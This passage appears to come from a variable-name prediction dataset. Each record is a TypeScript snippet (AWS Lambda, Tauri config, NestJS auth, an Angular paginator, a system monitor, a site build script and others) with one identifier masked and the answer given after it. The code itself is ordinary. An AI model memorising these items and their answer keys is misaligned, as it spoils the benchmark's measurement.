        /*private*/ close : framework.lightning.IconButton = new framework.lightning.IconButton(""close"");

        /*private*/ body : framework.JSContainer = new framework.JSContainer(""div"").addClass(""slds-docked-composer__body"");

        /*private*/ footer : framework.JSContainer = new framework.JSContainer(""footer"").addClass(""slds-docked-composer__footer slds-shrink-none"");

        public constructor(name : string) {
            super(name, ""section"");
            this.setVertical(true);
            this.setAttribute(""role"", ""dialog"");
            this.setOpen(true);
            this.addChild$framework_JSContainer(this.header);
            this.header.addChild$framework_JSContainer(this.headerTitle);
            this.headerTitle.getFigureContainer().addClass(""slds-m-right_x-small"");
            this.headerTitle.setCentered(true);
            this.headerTitle.getFigureContainer().addChild$framework_JSContainer(this.headerIconContainer);
            this.headerIconContainer.addChild$framework_JSContainer(this.headerIcon);
            this.headerTitle.getBodyContainer().addChild$framework_JSContainer(this.title);
            this.header.addChild$framework_JSContainer(this.tools);
            this.tools.addChild$framework_JSContainer(this.minimize).addChild$framework_JSContainer(this.expand).addChild$framework_JSContainer(this.close);
            this.addChild$framework_JSContainer(this.body);
            this.addChild$framework_JSContainer(this.footer);
        }

        public setOpen(b : boolean) : DockedComposer {
            this.toggleClass(""slds-is-open"", b);
            this.toggleClass(""slds-is-closed"", !b);
            return this;
        }

        public setClosed(b : boolean) : DockedComposer {
            this.toggleClass(""slds-is-closed"", b);
            this.toggleClass(""slds-is-open"", !b);
            return this;
        }

        public getHeaderIcon() : framework.lightning.Icon {
            return this.headerIcon;
        }

        public getTitle() : framework.lightning.Text {
            return this.title;
        }

        public getTools() : framework.JSContainer {
            return this.tools;
        }

        public getExpandButton() : framework.lightning.IconButton {
            return this.expand;
        }

        public getCloseButton() : framework.lightning.IconButton {
            return this.close;
        }

        public getBody() : framework.JSContainer {
            return this.body;
        }

        public getFooter() : framework.JSContainer {
            return this.footer;
        }

        public setFocus(b : boolean) : DockedComposer {
            this.toggleClass(""slds-has-focus"", b);
            return this;
        }

        public setFormBody(b : boolean) : DockedComposer {
            if(b) {
                this.body.addClass(""slds-docked-composer__body_form"");
            } else {
                this.body.removeClass(""slds-docked-composer__body_form"");
            }
            return this;
        }

        public setBodyEmailComposer(b : boolean) : DockedComposer {
            if(b) {
                this.body.addClass(""slds-docked-composer__body_form"");
            } else {
                this.body.removeClass(""slds-docked-composer__body_form"");
            }
            return this;
        }

        public setOverflow(b : boolean) : DockedComposer {
            this.toggleClass(""slds-docked-composer_overflow"", b);
            return this;
        }
    }
    DockedComposer[""__class""] = ""framework.lightning.DockedComposer"";
    DockedComposer[""__interfaces""] = [""framework.Renderable""];


}


framework.lightning.Button.states_$LI$();

framework.JSContainer.DEFAULT_RENDERER_$LI$();

framework.Main.main(null);
",jsfield
861,"import { SQSHandler, SQSEvent } from 'aws-lambda';
import { DynamoDBClient, PutItemCommand } from ""@aws-sdk/client-dynamodb"";
import { S3Client, HeadObjectCommand, ListBucketsCommand } from '@aws-sdk/client-s3';

const REGION: string = ""us-east-1"";
const ENDPOINT_URL: string = ""http://localhost.localstack.cloud:4566"";
const clientConfig = {
  region: REGION,
  endpoint: ENDPOINT_URL,
  credentials: {
    accessKeyId: ""test"",
    secretAccessKey: ""test"",
  }
};


export const handler: SQSHandler = async (event: SQSEvent) => {
  const  [MASK]  = new DynamoDBClient(clientConfig);
  const s3Client = new S3Client({
    ...clientConfig,
    // override s3 specific fields
    forcePathStyle: true,
    endpoint: ""http://s3.localhost.localstack.cloud:4566"",
  });

  for (const record of event.Records) {
    const { id, bucket, filename } = JSON.parse(record.body);
    const n = await computeFileSize(s3Client, bucket, id);

    // insert into the database
    const command = new PutItemCommand({
      TableName: process.env.DYNAMODB_TABLE,
      Item: {
        pk: { S: id },
        bucket: { S: bucket },
        filename: { S: filename },
        size: { N: n.toString() },
      },
    });

    await  [MASK] .send(command);
  }
}

const computeFileSize = async (client: S3Client, bucket: string, id: string): Promise<number> => {
  console.log({ bucket, id });
  const command = new HeadObjectCommand({
    Bucket: bucket,
    Key: id,
  });
  const res = await client.send(command);
  return res.ContentLength || 0;
};
",dynamoDBClient
862,"import { fs } from '@tauri-apps/api'
import { dataDir } from '@tauri-apps/api/path'

let configFilePath: string
let defaultConfig: Configuration

(async() => {
  defaultConfig = {
    toggle_grasscutter: false,
    game_install_path: 'C:\\Program Files\\Genshin Impact\\Genshin Impact game\\GenshinImpact.exe',
    grasscutter_with_game: false,
    grasscutter_path: '',
    java_path: '',
    close_action: 0,
    startup_launch: false,
    last_ip: 'localhost',
    last_port: '443',
    language: 'en',
    customBackground: '',
    cert_generated: false,
    theme: 'default',
    https_enabled: false,
    debug_enabled: false
  }
})()

/**
 * 'close_action': 0 = close, 1 = tray
 */
export interface Configuration {
  toggle_grasscutter: boolean
  game_install_path: string
  grasscutter_with_game: boolean
  grasscutter_path: string
  java_path: string
  close_action: number
  startup_launch: boolean
  last_ip: string
  last_port: string
  language: string
  customBackground: string
  cert_generated: boolean
  theme: string
  https_enabled: boolean
  debug_enabled: boolean
}

export async function setConfigOption(key: string, value: any): Promise<void> {
  const config: any = await getConfig()
  config[key] = value
  
  await saveConfig(<Configuration> config)
}

export async function getConfigOption(key: string): Promise<any> {
  const config: any = await getConfig()
  const defaults: any = defaultConfig

  return config[key] || defaults[key]
}

export async function getConfig() {
  const raw = await readConfigFile()
  let parsed: Configuration = defaultConfig
  
  try {
    parsed = <Configuration> JSON.parse(raw)
  } catch(e) {
    // We could not open the file
    console.log(e)
    
    // TODO: Create a popup saying the config file is corrupted.
  }

  return parsed
}

export async function saveConfig(obj: Configuration) {
  const raw = JSON.stringify(obj)

  await writeConfigFile(raw)
}

async function readConfigFile() {
  const local = await dataDir()

  if (!configFilePath) configFilePath = local + 'cultivation\\configuration.json'

  // Ensure Cultivation dir exists
  const  [MASK]  = await fs.readDir(local)

  if (! [MASK] .find((fileOrDir) => fileOrDir?.name === 'cultivation')) {
    // Create dir
    await fs.createDir(local + 'cultivation').catch(e => console.log(e))
  }

  const innerDirs = await fs.readDir(local + '\\cultivation')

  // Create grasscutter dir for potential installation
  if (!innerDirs.find((fileOrDir) => fileOrDir?.name === 'grasscutter')) {
    // Create dir
    await fs.createDir(local + 'cultivation\\grasscutter').catch(e => console.log(e))
  }

  const dataFiles = await fs.readDir(local + 'cultivation')

  // Ensure config exists
  if (!dataFiles.find((fileOrDir) => fileOrDir?.name === 'configuration.json')) {
    // Create config file
    const file: fs.FsTextFileOption = {
      path: configFilePath,
      contents: JSON.stringify(defaultConfig)
    }

    await fs.writeFile(file)
  }

  // Finally, read the file 
  return await fs.readTextFile(configFilePath)
}

async function writeConfigFile(raw: string) {
  // All external config functions call readConfigFile, which ensure files exists
  await fs.writeFile({
    path: configFilePath,
    contents: raw
  })
}
",dirs
863,"""use server"";

import { revalidatePath } from ""next/cache"";
import type { CreateUserParams, UpdateUserParams } from ""@/lib/types/index"";

import User from ""../database/models/user.model"";
import { connectToDatabase } from ""../database/mongoose"";
import { handleError } from ""../utils"";

// CREATE
export async function createUser(user: CreateUserParams) {
  try {
    await connectToDatabase();
    console.log(""[User] Creating user:"", user);

    const newUser = await User.create(user);

    console.log(""[User] Created successfully:"", newUser._id);

    return JSON.parse(JSON.stringify(newUser));
  } catch (error) {
    console.error(""[User] Creation failed:"", error);
    handleError(error);
  }
}

// READ
export async function getUserById(userId: string) {
  try {
    await connectToDatabase();

    const user = await User.findOne({ clerkId: userId });

    if (!user) throw new Error(""User not found"");

    return JSON.parse(JSON.stringify(user));
  } catch (error) {
    handleError(error);
  }
}

// UPDATE
export async function updateUser(clerkId: string, user: UpdateUserParams) {
  try {
    await connectToDatabase();
    console.log(""[User] Updating user:"", clerkId, user);

    const updatedUser = await User.findOneAndUpdate({ clerkId }, user, {
      new: true,
    });

    if (!updatedUser) throw new Error(""User update failed"");

    console.log(""[User] Updated:"", updatedUser._id);
    
    return JSON.parse(JSON.stringify(updatedUser));
  } catch (error) {
    console.error(""[User] Update failed:"", error);
    handleError(error);
  }
}

// DELETE
export async function deleteUser(clerkId: string) {
  try {
    await connectToDatabase();
    console.log(""[User] Deleting user with clerkId:"", clerkId);

    // Find user to delete
    const userToDelete = await User.findOne({ clerkId });

    if (!userToDelete) {
      console.warn(""[User] No user to delete found:"", clerkId);
      throw new Error(""User not found"");
    }

    // Delete user
    const deletedUser = await User.findByIdAndDelete(userToDelete._id);
    revalidatePath(""/"");

    return deletedUser ? JSON.parse(JSON.stringify(deletedUser)) : null;
  } catch (error) {
    console.error(""[User] Deletion failed:"", error);
    handleError(error);
  }
}

// USE CREDITS
export async function updateCredits(userId: string,  [MASK] : number) {
  try {
    await connectToDatabase();

    const updatedUserCredits = await User.findOneAndUpdate(
      { _id: userId },
      { $inc: { creditBalance:  [MASK]  }},
      { new: true }
    )

    if(!updatedUserCredits) throw new Error(""User credits update failed"");

    return JSON.parse(JSON.stringify(updatedUserCredits));
  } catch (error) {
    handleError(error);
  }
}",creditFee
864,"import {
  Body,
  Controller,
  Post,
  HttpCode,
  HttpStatus,
  UsePipes,
  UseGuards,
  Get,
  Request,
} from ""@nestjs/common"";
import { AuthService } from ""./auth.service"";
import { ZodValidationPipe } from ""../zod_pipe"";
import { CreateUserDto, createUserSchema } from ""../users/dto/create-user.dto"";
import { AuthGuard } from ""./auth.guard"";
import { ApiBearerAuth, ApiTags } from ""@nestjs/swagger"";

@ApiTags(""auth"")
@Controller(""auth"")
export class AuthController {
  constructor(private authService: AuthService) {}

  @HttpCode(HttpStatus.OK)
  @Post(""login"")
  @UsePipes(new ZodValidationPipe(createUserSchema))
  signIn(@Body()  [MASK] : CreateUserDto) {
    return this.authService.signIn( [MASK] .email,  [MASK] .password);
  }

  @Get(""profile"")
  @ApiBearerAuth()
  @UseGuards(AuthGuard)
  getProfile(@Request() req: any) {
    return req.user;
  }
}
",signInDto
865,"import { CatalogClient } from '@backstage/catalog-client';
import { ScmIntegrations } from '@backstage/integration';
import { createBuiltinActions, createRouter } from '@backstage/plugin-scaffolder-backend';
import { createHumanitecApp } from ""@frontside/backstage-plugin-humanitec-backend"";
import { createEcrAction } from '@roadiehq/scaffolder-backend-module-aws';
import { Router } from 'express';
import { createGetEnvironmentAction } from '../actions/get-environment';
import type { PluginEnvironment } from '../types';

export default async function createPlugin({
  logger,
  config,
  database,
  reader,
  discovery,
  identity,
  permissions,
}: PluginEnvironment): Promise<Router> {
  const catalogClient = new CatalogClient({
    discoveryApi: discovery,
  });
  const integrations = ScmIntegrations.fromConfig(config);
  const  [MASK]  = createBuiltinActions({
    integrations,
    catalogClient,
    config: config,
    reader: reader,
  });

  const actions = [
    ... [MASK] ,
    createEcrAction(),
    createGetEnvironmentAction({
      orgId: config.getString('humanitec.orgId'),
      awsRegion: process.env.AWS_DEFAULT_REGION || '',
    }),
    createHumanitecApp({
      orgId: config.getString('humanitec.orgId'),
      token: config.getString('humanitec.token')
    })
  ];

  return await createRouter({
    logger: logger,
    config: config,
    database: database,
    reader: reader,
    catalogClient,
    identity: identity,
    permissions: permissions,
    actions,
  });
}
",builtInActions
866,"/// <reference path=""typings/adsk/adsk.d.ts""/>
/// <reference path=""typings/adsk/fusion/brep.d.ts""/>
/// <reference path=""typings/adsk/core/userInterface.d.ts""/>

class Thinger {
    config: Object;
    design: Design;
    ui: UserInterface;
    constructor(adsk: Autodesk) {
        let app = adsk.core.Application.get();
        this.ui = app.userInterface;
        this.design = adsk.fusion.Design.cast(app.activeProduct);

        //create a custom 'extension method' on a BRepBody 
        adsk.fusion.BRepBody.sayHi = () => { alert('hi from sayHi'); }
    }

    //experimenting with the options argument method here
    makeCube(options: { width: number, depth: number, height: number } = { width: 15, depth: 15, height: 15 }) {
        let selection = this.ui.selectEntity('Select a body', 'Bodies');

    }

    sayHi() {
        this.ui.messageBox('in thinger.js');
    }

    readConfig() {
        try {
            this.ab2str(adsk.readFile('c:\\temp\\junk\\.thinger'));
            // this.ui.messageBox(JSON.stringify(this.config));
        }
        catch (e) {
            this.ui.messageBox(e);
        }
    }

    writeConfig() {
        adsk.writeFile('c:\\temp\\junk\\.thinger', JSON.stringify(this.config));
    }

    ab2str( [MASK] ) {
        return String.fromCharCode.apply(null, new Uint16Array( [MASK] ));
    }

}
",buf
867,"import { ethers } from 'ethers';
import * as fs from 'fs-extra';
import 'dotenv/config';

async function main() {
  const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_URL!);
  // get wallet and private key to // private key comes from ganache
  const wallet = new ethers.Wallet(process.env.PRIVATE_KEY!, provider);
  // wallet need to be connected
  // read the ABI
  const abi = fs.readFileSync('./SimpleStorage_sol_SimpleStorage.abi', 'utf8');
  const  [MASK]  = fs.readFileSync(
    './SimpleStorage_sol_SimpleStorage.bin',
    'utf8'
  );

  // use to deploy contract
  const contractFactory = new ethers.ContractFactory(abi,  [MASK] , wallet);
  console.log('Deploying wait...');
  const contract = await contractFactory.deploy();
  // wait 1 block to check if the contract is attached to the chain
  console.log('Contract deployed...');
  //   console.log(contract);
  const deploymentReceipt = await contract.deployTransaction.wait(1);
  console.log(`Contract Address: ${contract.address}`);

  // // INTERACT WITH CONTRACT
  // contract comes from contractFactory
  const currentFavoriteNumber = await contract.retrieve();
  console.log(`Current favorite number: ${currentFavoriteNumber.toString()}`);
  const transactionResponse = await contract.store('7'); // pass variable as string
  const transactionReceipt = await transactionResponse.wait(1);
  const updatedFavoriteNumber = await contract.retrieve();
  console.log(`Updated favorite number: ${updatedFavoriteNumber.toString()}`);
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });
",binary
868,"import { CustomerType, CustomerNamesOptionType } from ""../models/Customer""
import { OutgoingOptionType, OutgoingType } from ""../models/Outgoing""
import { ProductDetails, ProductOptionType } from ""../models/Product""
import DecimalFormatter from ""./Decimal""

export function buildCustomerNamesList(customers: CustomerType[]): CustomerNamesOptionType[] {
  const list: CustomerNamesOptionType[] = []
  customers.forEach(
    (customer: CustomerType) =>
      list.push({
        value: customer.customer_name,
        label: customer.customer_name
      })
  )
  return list
}

export function buildReportCustomerNamesList(customers: CustomerType[]): CustomerNamesOptionType[] {
  const list: CustomerNamesOptionType[] = []
  customers.forEach(
    (customer: CustomerType) =>
      list.push({
        value: customer.customer_id.toString(),
        label: customer.customer_name
      })
  )
  return list
}

export function buildProductsList(products: ProductDetails[]): ProductOptionType[] {
  const list: ProductOptionType[] = []
  products.forEach(
    (product: ProductDetails) =>
      list.push({
        value: product.product_id.toString(),
        label: `${product.product_name} - ${DecimalFormatter.format(product.product_price)}`,
        product_name: product.product_name,
        product_price: product.product_price

      })
  )
  return list
}

export function buildOutgoingDescriptionList( [MASK] : OutgoingType[]): OutgoingOptionType[] {
  const list: OutgoingOptionType[] = []
   [MASK] .forEach(
    (outgoing: OutgoingType) => {
      let entry = {
        value: outgoing.outgoing_description,
        label: outgoing.outgoing_description
      }

      if (!list.some(member => member.value == entry.value)) {
        list.push(entry)
      }
    }
  )
  return list
}",outgoings
869,"import {
  Component,
  EventEmitter,
  Input,
  OnChanges,
  Output,
  SimpleChanges
} from '@angular/core';

@Component({
  selector: 'mg-pagination',
  templateUrl: './pagination.component.html',
  styleUrls: ['./pagination.component.scss'],
})
export class PaginationComponent implements OnChanges {
  @Input() pageSize = 2;
  @Input() totalRecords;
  @Output()
  currentPageChanged =
      new EventEmitter<{currentPage: number, pageSize: number}>();

  currentPage = 1;
  totalPages = 1;
  leftPages = [];
  rightPages = [];
  leftEllipsis = false;
  rightEllipsis = false;

  constructor() {}

  changePage( [MASK] ) {
    this.currentPage =  [MASK] ;
    const left = this.currentPage - 1;
    const right = this.currentPage + 1;
    this.leftPages = [];
    for (let i = left; (i > 1 && i > (left - 2)); i--) {
      this.leftPages.unshift(i);
    }
    this.rightPages = [];
    for (let i = right; (i < this.totalPages && i < (right + 2)); i++) {
      this.rightPages.push(i);
    }
    this.leftEllipsis = this.currentPage > 4;
    this.rightEllipsis = this.currentPage < (this.totalPages - 3);
    this.currentPageChanged.emit(
        {currentPage : this.currentPage, pageSize : this.pageSize});
  }

  ngOnChanges(changes: SimpleChanges): void {
    if (changes.totalRecords != null &&
        changes.totalRecords.currentValue != null) {
      this.totalPages = Math.ceil(this.totalRecords / this.pageSize);
      this.changePage(1);
    }
  }

  changePageSize(pageSize) {
    this.pageSize = pageSize;
    this.totalPages = Math.ceil(this.totalRecords / this.pageSize);
    this.currentPage = 1;
    this.currentPageChanged.emit(
        {currentPage : this.currentPage, pageSize : this.pageSize});
    this.changePage(this.currentPage);
  }
}
",newPage
870,"import { ErrorLog, MonitoringResponse, Stats } from './types/types';
import { exec } from 'child_process';
import os from 'os';

export class Vision {
	private stats: Stats;

	constructor() {
		this.stats = {
			requestCount: 0,
			errorCount: 0,
			totalLatency: 0,
			dbQueryCount: 0,
			dbErrorCount: 0,
			dbTotalLatency: 0,
			lastErrors: [],
		};
	}

	// VisionRequest request tracking
	// ------------------------------
	// The VisionRequest function takes the duration of the request
	// and updates the statistics of requests to the server.
	// It increases the counter of the total number
	// of requests (RequestCount) and adds the transmitted
	// duration to the total delay time of all requests (TotalLatency),
	// ensuring that these values are securely updated using a
	// mutex lock (Lock/Unlock) to avoid conflicts
	// when accessing statistics from different execution threads.
	public visionRequest(duration: number): void {
		this.stats.requestCount++;
		this.stats.totalLatency += duration;
	}

	// VisionError error tracking
	// --------------------------
	// The VisionError function accepts an err error object and
	// performs the following actions: locks the mutex
	// for secure access to the fields of the stats structure,
	// increments the error count counter, creates an error log
	// containing the current time (Timestamp) and
	// error message (Error), checks the length of the array
	// of recent errors (LastErrors) and, if it contains
	// more than 10 elements, it deletes the oldest element,
	// and then adds a new error to the array.
	public visionError(err: Error, method?: string, path?: string): void {
		this.stats.errorCount++;

		const errLog: ErrorLog = {
			timestamp: new Date(),
			method: method ? method : '',
			path: path ? path : '',
			error: err.message,
		};

		// Limit the number of recent errors to 10
		if (this.stats.lastErrors.length >= 10) {
			this.stats.lastErrors.shift();
		}

		this.stats.lastErrors.push(errLog);
	}

	// VisionDBQuery tracking a database request
	// -----------------------------------------
	// The VisionDBQuery function takes the duration
	// of a database query and updates the corresponding
	// statistics by incrementing the database query
	// counter (DBQueryCount) and adding the
	// transmitted duration to the total amount
	// of database query delays (DBTotalLatency)
	public visionDBQuery(duration: number): void {
		this.stats.dbQueryCount++;
		this.stats.dbTotalLatency += duration;
	}

	// VisionDBError tracking a DB error
	// ---------------------------------
	// The VisionDBError function increments
	// the database error counter (DBErrorCount)
	// when an error occurs.
	public visionDBError(): void {
		this.stats.dbErrorCount++;
	}

	// The getCPUUsage function tries to get
	// the percentage of CPU usage for the last second.
	private async getCPUUsage(): Promise<number> {
		return new Promise((resolve, reject) => {
			exec(
				""top -bn1 | grep 'Cpu(s)' | sed 's/.*, *\\([0-9.]*\\)%* id.*/\\1/' | awk '{print 100 - $1}'"",
				(error, stdout) => {
					if (error) {
						return reject(`Failed to get CPU usage: ${error}`);
					}
					resolve(parseFloat(stdout));
				}
			);
		});
	}

	// The getMemoryUsage function gets
	// information about virtual memory usage.
	private async getMemoryUsage(): Promise<number> {
		return new Promise((resolve, reject) => {
			const totalMemory: number = os.totalmem();
			const  [MASK] : number = os.freemem();
			const usedMemory: number = totalMemory -  [MASK] ;
			resolve((usedMemory / totalMemory) * 100);
		});
	}

	// The getNetworkStats function collects network
	// interface statistics. If the network data cannot
	// be retrieved, an error is returned. If the
	// interface is found, the amount of data received i
	// n megabytes is calculated and the result is returned.
	private async getNetworkStats(): Promise<number> {
		return new Promise((resolve, reject) => {
			exec(""ifstat -S 1 1 | awk 'NR==3 {print $1}'"", (error, stdout) => {
				if (error) {
					return reject(`Failed to get network stats: ${error}`);
				}
				resolve(parseFloat(stdout) / (1024 * 1024)); // Convert to MB
			});
		});
	}

	// GetVisionStats getting statistics
	// ---------------------------------
	// The GetVisionStats function collects
	// all the data into one structure
	// and outputs it as a JSON structure.
	public async getVisionStats(): Promise<MonitoringResponse> {
		const cpuUsage: number = await this.getCPUUsage().catch((err) => {
			console.error(`Error getting CPU usage: ${err}`);
			return 0;
		});

		const memoryUsage: number = await this.getMemoryUsage().catch((err) => {
			console.error(`Error getting memory usage: ${err}`);
			return 0;
		});

		const networkRecv: number = await this.getNetworkStats().catch(
			(err) => {
				console.error(`Error getting network stats: ${err}`);
				return 0;
			}
		);

		return {
			requests: {
				total: this.stats.requestCount,
				errors: this.stats.errorCount,
				successRate:
					this.stats.requestCount === 0
						? 0
						: ((this.stats.requestCount - this.stats.errorCount) /
								this.stats.requestCount) *
							100,
				avgLatencyMs:
					this.stats.requestCount === 0
						? 0
						: this.stats.totalLatency / this.stats.requestCount,
			},
			database: {
				totalQueries: this.stats.dbQueryCount,
				errors: this.stats.dbErrorCount,
				avgLatencyMs:
					this.stats.dbQueryCount === 0
						? 0
						: this.stats.dbTotalLatency / this.stats.dbQueryCount,
			},
			system: {
				cpuUsage: cpuUsage,
				memoryUsage: memoryUsage,
				networkRecv: networkRecv,
			},
			lastErrors: this.stats.lastErrors,
		};
	}
}
",freeMemory
871,"export function formatNumber(number: number) {
    const SI_POSTFIXES = ["""", ""k"", ""M"", ""G"", ""T"", ""P"", ""E""];
    // what tier? (determines SI prefix)
    const tier = (Math.log10(Math.abs(number)) / 3) | 0;
    // if zero, we don't need a prefix
    if (tier == 0) return number;
    // get postfix and determine scale
    const postfix = SI_POSTFIXES[tier];
    const scale = Math.pow(10, tier * 3);
    // scale the number
    const scaled = number / scale;
    // format number
    let formatted = scaled.toPrecision(3);
    // remove '.0' case
    if (/\.0$/.test(formatted))
        formatted = formatted.substr(0, formatted.length - 2);
    // return with added postfix
    return formatted + postfix;
}

export function getNameOfDay(dayOfWeek: number) {
    const  [MASK]  = [""Sunday"", ""Monday"", ""Tuesday"", ""Wednesday"", ""Thursday"", ""Friday"", ""Saturday""];
    return  [MASK] [dayOfWeek];
}

export function getMaxOfArray(arr: []) {
    return Math.max(...arr);
}",days
872,"import { z } from 'zod';

import { GithubRegistry, chainMetadata } from '@hyperlane-xyz/registry';
import { ChainMap, ChainMetadata, ChainMetadataSchema } from '@hyperlane-xyz/sdk';

import { PROXY_DEPLOYED_URL } from '../consts/app.ts';
import { chains as ChainsTS } from '../consts/chains.ts';
import ChainsYaml from '../consts/chains.yaml';
import { config } from '../consts/config.ts';
import { cosmosDefaultChain } from '../features/chains/cosmosDefault';
import { logger } from '../utils/logger';

export async function assembleChainMetadata() {
  // Chains must include a cosmos chain or CosmosKit throws errors
  const result = z.record(ChainMetadataSchema).safeParse({
    cosmoshub: cosmosDefaultChain,
    ...ChainsYaml,
    ...ChainsTS,
  });
  if (!result.success) {
    logger.warn('Invalid chain config', result.error);
    throw new Error(`Invalid chain config: ${result.error.toString()}`);
  }
  const  [MASK]  = result.data as ChainMap<ChainMetadata>;

  const registry = new GithubRegistry({
    uri: config.registryUrl,
    proxyUrl: PROXY_DEPLOYED_URL,
  });
  let defaultChainMetadata = chainMetadata;
  if (config.registryUrl) {
    logger.debug('Using custom registry', config.registryUrl);
    defaultChainMetadata = await registry.getMetadata();
  } else {
    logger.debug('Using default published registry');
    // Note: this is an optional optimization to pre-fetch the content list
    // and avoid repeated request from the chain logos that will use this info
    await registry.listRegistryContent();
  }

  const chains = { ...defaultChainMetadata, ... [MASK]  };
  return { chains, registry };
}
",customChainMetadata
873,"// Copyright (c) Mysten Labs, Inc.
// SPDX-License-Identifier: Apache-2.0

import { getFullnodeUrl, SuiClient } from '@mysten/sui.js/client';
import { normalizeSuiAddress } from '@mysten/sui.js/utils';

import { ZkSendLink } from './claim.js';
import type { ZkBagContractOptions } from './zk-bag.js';
import { MAINNET_CONTRACT_IDS } from './zk-bag.js';

export async function getSentTransactionBlocksWithLinks({
	address,
	cursor,
	limit = 10,
	network = 'mainnet',
	contract = MAINNET_CONTRACT_IDS,
	client = new SuiClient({ url: getFullnodeUrl(network) }),
	loadClaimedAssets = false,
	...linkOptions
}: {
	address: string;
	contract?: ZkBagContractOptions;
	cursor?: string;
	limit?: number;
	network?: 'mainnet' | 'testnet';
	loadClaimedAssets?: boolean;

	// Link options:
	host?: string;
	path?: string;
	claimApi?: string;
	client?: SuiClient;
}) {
	const packageId = normalizeSuiAddress(contract.packageId);

	const page = await client.queryTransactionBlocks({
		filter: {
			FromAddress: address,
		},
		order: 'descending',
		cursor,
		limit,
		options: {
			showInput: true,
			showObjectChanges: true,
			showBalanceChanges: true,
		},
	});

	const data = await Promise.all(
		page.data.map(async (block) => {
			const transactionBlock = block.transaction?.data.transaction;
			if (transactionBlock?.kind !== 'ProgrammableTransaction') {
				throw new Error('Invalid transaction block');
			}

			const  [MASK]  = await Promise.all(
				transactionBlock.transactions
					.filter((tx) =>
						'MoveCall' in tx
							? tx.MoveCall.package === packageId &&
							  tx.MoveCall.module === 'zk_bag' &&
							  tx.MoveCall.function === 'new'
							: false,
					)
					.map(async (tx) => {
						if (!('MoveCall' in tx)) {
							throw new Error('Expected MoveCall');
						}

						const addressArg = tx.MoveCall.arguments?.[1];

						if (!addressArg || typeof addressArg !== 'object' || !('Input' in addressArg)) {
							throw new Error('Invalid address argument');
						}

						const input = transactionBlock.inputs[addressArg.Input];

						if (input.type !== 'pure') {
							throw new Error('Expected Address input to be a Pure value');
						}

						const address = normalizeSuiAddress(input.value as string);

						const link = new ZkSendLink({
							network,
							address,
							contract,
							isContractLink: true,
							...linkOptions,
						});

						await link.loadAssets({
							transactionBlock: block,
							loadClaimedAssets,
						});

						return link;
					}),
			);

			const regeneratedLinks = await Promise.all(
				transactionBlock.transactions
					.filter((tx) =>
						'MoveCall' in tx
							? tx.MoveCall.package === packageId &&
							  tx.MoveCall.module === 'zk_bag' &&
							  tx.MoveCall.function === 'update_receiver'
							: false,
					)
					.map(async (tx) => {
						if (!('MoveCall' in tx)) {
							throw new Error('Expected MoveCall');
						}

						const addressArg = tx.MoveCall.arguments?.[2];

						if (!addressArg || typeof addressArg !== 'object' || !('Input' in addressArg)) {
							throw new Error('Invalid address argument');
						}

						const input = transactionBlock.inputs[addressArg.Input];

						if (input.type !== 'pure') {
							throw new Error('Expected Address input to be a Pure value');
						}

						const address = normalizeSuiAddress(input.value as string);

						const link = new ZkSendLink({
							network,
							address,
							contract,
							isContractLink: true,
							...linkOptions,
						});

						await link.loadAssets({ loadClaimedAssets });

						return link;
					}),
			);

			return {
				transactionBlock: block,
				links: [... [MASK] , ...regeneratedLinks],
			};
		}),
	);

	return {
		data,
		nextCursor: page.nextCursor,
		hasNextPage: page.hasNextPage,
	};
}
",newLinks
874,"import { writeFileSync, readFileSync, readdirSync } from ""fs"";
import { statSync, rmSync, existsSync, mkdirSync } from ""fs"";
import walkSync = require(""walk-sync"");

const readJson = (path: string) => JSON.parse(readFileSync(path).toString());
const woSp = (text: string) => text.replace(/ /g, """");
const n2c = (n: number) => String.fromCharCode(n + 97);
const c2n = (c: string) => c.charCodeAt(0) - 97;
const last = <T>(arr: T[]) => arr[arr.length - 1];

const aue: { [lang: string]: string[]; en: string[] } = readJson(""aue.json"");
const contributors = [...readdirSync(""contributions"")].map(
  e => e.split(""."")[0],
);
{
  const first = ""<NAME>"";
  contributors.sort((x, y) =>
    x === first ? -1 : y === first ? 1 : x.localeCompare(y),
  );
}
const defaultKeywords = ""Aue,religion,atheist"";

//Delete directories

const rmdirs = (dir: string) =>
  [...readdirSync(dir)]
    .filter(e => statSync(dir + e).isDirectory() && e != ""cards"")
    .forEach(e => rmSync(dir + e, { recursive: true, force: true }));
rmdirs(""docs/"");
rmdirs(""fragments/"");

//Create empty directories

const mkdir = (dir: string) => existsSync(dir) || mkdirSync(dir);
[
  ""fragments/articles"",
  ""fragments/contributions"",
  ""docs/wallpaper"",
  ""docs/forum"",
  ""docs/articles"",
  ""docs/translations"",
].forEach(mkdir);

//Build verses-<lang>.html fragments

Object.entries(aue).forEach(([lang, verses]) => {
  writeFileSync(
    `fragments/verses-${lang}.html`,
    verses
      .map((v, i) => {
        const cite = n2c(i);
        return `<verse data-cite=""${cite}""><cite>${cite}</cite> ${v}</verse>\n`;
      })
      .join(""""),
  );
});

//Build contributors.html fragment

writeFileSync(
  ""fragments/contributors.html"",
  `<select id=""contributor"" onchange=""DomContributor(this)"">
  <option></option>
  ${contributors
    .map(c => {
      return `<option value=""${woSp(c)}"">${c}</option>\n`;
    })
    .join("""")}</select>`,
);

//Build articles.html and latest-articles.html fragments

const articles = [...walkSync(""articles"", { directories: false })].map(path => {
  path = ""articles/"" + path;
  const [name] = last(path.split(""/"")).split(""."");
  const [_, author] = path.split(""/"");
  const authorId = woSp(author);
  const content = readFileSync(path).toString();
  const title = content.match(/<h1>([\s\S]+?)<\/h1>/)?.[1] ?? ""Unknown article"";
  const firstPara =
    content.match(/<p>((?:.|\s)+?)<\/p>/m)?.[1].replace(/<\/?[^>]+>/g, """") ??
    """";
  const byLine =
    content.match(/<p class=""by-line"">((?:.|\s)+?)<\/p>/)?.[1] ?? """";
  const date = Date.parse(byLine.match(/\d+-\d+-\d+/)?.[0] ?? """");
  const keywords =
    content.match(/<p class=""keywords"">((?:.|\s)+?)<\/p>/)?.[1] ?? """";
  return {
    ...{ name, title, path, byLine, date },
    ...{ author, authorId, firstPara, keywords },
  };
});
articles.sort(({ date: b }, { date: a }) => a - b);

function makeArticlesFragment({
  forAuthor,
  latestOnly,
}: { forAuthor?: string; latestOnly?: boolean } = {}): string[] {
  return articles
    .filter(a => !forAuthor || a.authorId == forAuthor)
    .filter((_, i) => !latestOnly || i < 5)
    .map(({ name, title, byLine, authorId, firstPara }) => {
      const maxLen = 200;
      firstPara =
        firstPara.length > maxLen
          ? firstPara.substring(0, maxLen) + ""…""
          : firstPara;
      return `<a class=""article-link"" href=""/${authorId}/${name}"">
      <h3>${title}</h3>
